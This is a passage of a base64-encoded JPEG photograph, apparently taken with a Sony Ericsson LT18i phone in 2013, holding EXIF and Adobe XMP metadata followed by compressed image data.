AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFNvbnkgRXJpY3Nzb24ATFQxOGkANC4w LjIuQS4wLjYyXzJkX2YxMDAAADIwMTM6MDc6MTkgMTQ6NTg6NTUAABqCmgAFAAAAAQAAEgKCnQAF AAAAAQAAEgqIJwADAAAAAQGQAACQAAAHAAAABDAyMjCQAwACAAAAFAAAEhKQBAACAAAAFAAAEiaR AQAHAAAABAECAwCSAQAFAAAAAQAAEjqSBAAFAAAAAQAAEkKSBwADAAAAAQACAACSCAADAAAAAQAA AACSCQADAAAAAQAJAACSCgAFAAAAAQAAEkqSkQACAAAAAzAwAACSkgACAAAAAzAwAACgAAAHAAAA BDAxMDCgAQADAAAAAQABAACgAgAEAAAAAQAADMCgAwAEAAAAAQAAByykAQADAAAAAQAAAB+kAgAD AAAAAQAAAB+kAwADAAAAAQAAAACkBAAFAAAAAQAAElKkBgADAAAAAQAAAB+kDAADAAAAAQAAAB/q HAAHAAAIDAAACfYAAAAAHOoAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAAA+gAAABgAAAAKMjAxMzowNzoxOSAxNDo1ODo1 NQAyMDEzOjA3OjE5IDE0OjU4OjU1AAAAAdAAAABkAAAAAAAAAAMAAAGaAAAAZAAAAGQAAABkAAD/ 4QnTaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49J++7vycgaWQ9 J1c1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCc/Pg0KPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpu czptZXRhLyI+PHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIy LXJkZi1zeW50YXgtbnMjIj48cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0idXVpZDpmYWY1YmRk NS1iYTNkLTExZGEtYWQzMS1kMzNkNzUxODJmMWIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2Jl LmNvbS94YXAvMS4wLyI+PHhtcDpDcmVhdGVEYXRlPjIwMTMtMDctMTlUMTQ6NTg6NTU8L3htcDpD cmVhdGVEYXRlPjx4bXA6Q3JlYXRvclRvb2w+NC4wLjIuQS4wLjYyXzJkX2YxMDA8L3htcDpDcmVh dG9yVG9vbD48L3JkZjpEZXNjcmlwdGlvbj48L3JkZjpSREY+PC94OnhtcG1ldGE+DQogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/eHBhY2tldCBl bmQ9J3cnPz7/2wBDAAQDAwQDAwQEAwQFBAQFBgoHBgYGBg0JCggKDw0QEA8NDw4RExgUERIXEg4P FRwVFxkZGxsbEBQdHx0aHxgaGxr/2wBDAQQFBQYFBgwHBwwaEQ8RGhoaGhoaGhoaGhoaGhoaGhoa GhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhr/wAARCAD8AcADASIAAhEBAxEB/8QAHwAA AQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIh MUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpT VFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5 usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAA AAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEI FEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVm 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 